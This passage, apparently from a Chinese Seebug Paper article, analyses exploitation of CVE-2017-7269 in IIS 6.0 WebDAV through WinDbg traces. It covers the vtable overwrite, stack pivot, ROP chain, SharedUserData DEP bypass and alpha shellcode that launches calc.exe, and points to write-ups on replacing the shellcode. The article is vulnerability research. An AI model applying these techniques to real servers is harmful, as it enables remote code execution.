在PoC中,有一處,這個會觸發漏洞利用,是在CheckIfHeader之后到達位置,在CheckIfHeader的PszToken函數判斷沒有<>的http url之后,break掉,之后進入lock token處理。

0:009> p
eax=67140d15 ebx=00fffbe8 ecx=680313c0 edx=0060e7b0 esi=00fffc28 edi=00000104
eip=67126c80 esp=00fff940 ebp=00fff950 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
httpext!ScStoragePathFromUrl+0x5:
67126c80 e803100000      call    httpext!_EH_prolog (67127c88)
0:009> kb
ChildEBP RetAddr  Args to Child              
00fff93c 67119469 00fffab4 00fff9a4 00000000 httpext!ScStoragePathFromUrl+0x5
00fff950 67125740 0060e7b0 00fffab4 00fff9a4 httpext!CMethUtil::ScStoragePathFromUrl+0x18
00fffbd0 664d4150 680313c0 65314834 6e666f43 httpext!CParseLockTokenHeader::HrGetLockIdForPath
+0x119
WARNING: Frame IP not in any known module. Following frames may be wrong.
00fffc3c 6711f68e 0060b508 0060584e 80000000 0x664d4150
00fffc78 6711f7c5 0060c010 00fffcd4 671404e2 httpext!CPropFindRequest::Execute+0x125

這時候對應的IEcb已經被覆蓋,這樣,在進入ScStoragePathFromUrl函數之后,會進入我們在漏洞分析部分提到的CheckPrefixUrl函數,這個函數中有大量的IEcb虛表虛函數引用。

0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=671335f3 esp=00fff4b4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScStripAndCheckHttpPrefix+0x1e:
671335f3 ff5024          call    dword ptr [eax+24h]  ds:0023:680313e4=68016082
0:009> dc eax
680313c0  680313c0 68006e4f 68006e4f 766a4247  ...hOn.hOn.hGBjv
680313d0  680313c0 4f744257 52345947 4b424b66  ...hWBtOGY4RfKBK

和大家分享了這個精妙利用,一般可能都會覺得是第二次url bbbbb的這個memcpy覆蓋了關鍵函數導致的溢出、利用,實際上,在第一次url aaaaaa中,就已經引發了棧溢出,覆蓋到了stackbuffer申請的指向棧buffer的指針,這個指針存放在棧里,用于后續調用存放虛擬路徑,由于第一次棧溢出,覆蓋到了這個變量導致第二次url bbbbb拷貝的時候,是向一個堆地址拷貝,這個堆地址后面的偏移中,存放著IEcb的vftable,通過覆蓋虛表虛函數,在最后locktoken觸發的ScStoragePathFromUrl中利用虛函數達到代碼執行。

而這個過程,也是巧妙的繞過了GS的檢查。


簡析ROP及shellcode


這個漏洞使用了一些非常有意思的手法,一個是TK教主在13年安全會議上提到的shareduserdata,在ROP中,另一個是alpha shellcode。

首先,在前面虛函數執行之后,會先進行stack pivot,隨后進入rop。

0:009> t//stack pivot!!!
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016082 esp=00fff4b0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!_alloca_probe+0x42:
68016082 8be1            mov     esp,ecx
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016084 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!_alloca_probe+0x44:
68016084 8b08            mov     ecx,dword ptr [eax]  ds:0023:680313c0=680313c0
0:009> p
eax=680313c0 ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016086 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!_alloca_probe+0x46:
68016086 8b4004          mov     eax,dword ptr [eax+4] ds:0023:680313c4=68006e4f
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68016089 esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!_alloca_probe+0x49:
68016089 50              push    eax
0:009> p//ROP Chain
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=6801608a esp=680313bc ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!_alloca_probe+0x4a:
6801608a c3              ret
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=0060e7b0 edi=680313c0
eip=68006e4f esp=680313c0 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e              pop     esi
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e50 esp=680313c4 ebp=00fff4d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!CPEncrypt+0x3c:
68006e50 5d              pop     ebp
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e51 esp=680313c8 ebp=68006e4f iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!CPEncrypt+0x3d:
68006e51 c22000          ret     20h
0:009> p
eax=68006e4f ebx=00fffbe8 ecx=680313c0 edx=00fff4f8 esi=680313c0 edi=680313c0
eip=68006e4f esp=680313ec ebp=68006e4f iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!CPEncrypt+0x3b:
68006e4f 5e              pop     esi

經過一系列ROP之后,會進入KiFastSystemCall,這是利用SharedUserData bypass DEP的一環。

0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=00fff4f8 esi=68031460 edi=680124e3
eip=7c8285e8 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCall:
7c8285e8 8bd4            mov     edx,esp
0:009> p
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=68031400 esi=68031460 edi=680124e3
eip=7c8285ea esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34            sysenter
0:009> p
eax=00000000 ebx=7ffe0300 ecx=00000001 edx=ffffffff esi=68031460 edi=680124e3
eip=68031460 esp=68031404 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!g_pfnFree+0x1a4:
68031460 56              push    esi
0:009> dc 68031460
68031460  00560056 00410059 00340034 00340034  V.V.Y.A.4.4.4.4.
68031470  00340034 00340034 00340034 00410051  4.4.4.4.4.4.Q.A.

之后進入alpha shellcode,這時候68031460作為shareduserdata,已經具備可執行權限。

Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68031000
End Address:            68032000
Region Size:            00001000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000040    PAGE_EXECUTE_READWRITE  有了可執行權限

這里由于url存入內存按照寬字節存放,因此都是以00 xx方式存放,因此不能單純使用shellcode,而得用alpha shellcode(結尾基友用了另一種方法執行shellcode,大家可以看下),alpha shellcode會先執行一段操作。隨后進入解密部分。

0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031585 edx=68031568 esi=68031460 edi=680124e3
eip=6803154e esp=68031400 ebp=6e6f3176 iopl=0         nv up ei ng nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000292
rsaenh!g_pfnFree+0x292:
6803154e 41              inc     ecx
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803154f esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
rsaenh!g_pfnFree+0x293:
6803154f 004200          add     byte ptr [edx],al          ds:0023:68031568=e3
0:009> p
eax=059003d9 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031552 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
rsaenh!g_pfnFree+0x296:
68031552 6b0110          imul    eax,dword ptr [ecx],10h ds:0023:68031586=00540032
0:009> p
eax=05400320 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031555 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
rsaenh!g_pfnFree+0x299:
68031555 024102          add     al,byte ptr [ecx+2]        ds:0023:68031588=54
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=68031558 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x29c:
68031558 8802            mov     byte ptr [edx],al          ds:0023:68031568=bc
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031568 esi=68031460 edi=680124e3
eip=6803155a esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x29e:
6803155a 42              inc     edx
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155b esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x29f:
6803155b 803941          cmp     byte ptr [ecx],41h         ds:0023:68031586=32
0:009> p
eax=05400374 ebx=7ffe0300 ecx=68031586 edx=68031569 esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2            jne     rsaenh!g_pfnFree+0x286 (68031542)       [br=1]

0:009> dd 68031580
68031580  00380059 00320059 004d0054 004a0054
68031590  00310054 0030004d 00370031 00360059
680315a0  00300051 00300031 00300031 004c0045
680315b0  004b0053 00300053 004c0045 00330053

可以看到,解密前,alpha shellcod部分,隨后解密結束之后。

0:009> p
eax=04d0035d ebx=7ffe0300 ecx=68031592 edx=6803156c esi=68031460 edi=680124e3
eip=6803155e esp=68031400 ebp=6e6f3176 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
rsaenh!g_pfnFree+0x2a2:
6803155e 75e2            jne     rsaenh!g_pfnFree+0x286 (68031542)       [br=1]
0:009> bp 68031560
0:009> g
Breakpoint 2 hit
eax=00000410 ebx=7ffe0300 ecx=680318da edx=6803163e esi=68031460 edi=680124e3
eip=68031560 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!g_pfnFree+0x2a4:
68031560 b8b726bfca      mov     eax,0CABF26B7h
0:009> dd 68031580
68031580  223cec9b 265a2caa 6a289c9c 9f7c5610
68031590  90a91aa3 9f8f9004 beec8995 6120d015
680315a0  60351b24 30b44661 a56b0c3a 4eb0584f
680315b0  b3b04c03 65916fd3 87313668 9f7842bd
680315c0  14326fa2 fcc51b10 c16ae469 05721746
680315d0  7f01c860 44127593 5f97a1ee 840f2148
680315e0  4fd6e669 089c4365 23715269 e474df95

shellcode已經被解密出來,隨后會調用winexec,執行calc。

0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315f9 esp=680313fc ebp=68031581 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x33d:
680315f9 51              push    ecx
0:009> p
eax=77ea411e ebx=7ffe0300 ecx=68031614 edx=876f8b31 esi=68031460 edi=680124e3
eip=680315fa esp=680313f8 ebp=68031581 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
rsaenh!g_pfnFree+0x33e:
680315fa ffe0            jmp     eax {kernel32!WinExec (77ea411e)}
0:009> dd esp
680313f8  68031614 68031633 00000001 00000000
0:009> dc 68031633 l2
68031633  636c6163 6578652e                    calc.exe

第二個參數是0x1,是SW_SHOWNORMAL,但由于服務無窗口,因此calc無法彈出。

其實,這個過程可以替換成其他的shellcode,相關的shellcode替換鏈接可以看我的好基友LCatro的幾篇文章,都非常不錯。

https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

最后我想說,我在深圳,剛才和幾個平時網上的好朋友吃夜宵,聊到這個漏洞,沒想到在幾個小時前認識的彭博士,就是這個漏洞的作者!真的沒有想到,還好自己分析的這套思路和這個漏洞作者的思路相差無幾,不然就被打臉了。真的很有緣!一下學到了好多。

這篇最后還是沒有按時發出,不過希望能和大家一起學習!謝謝閱讀!


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/259/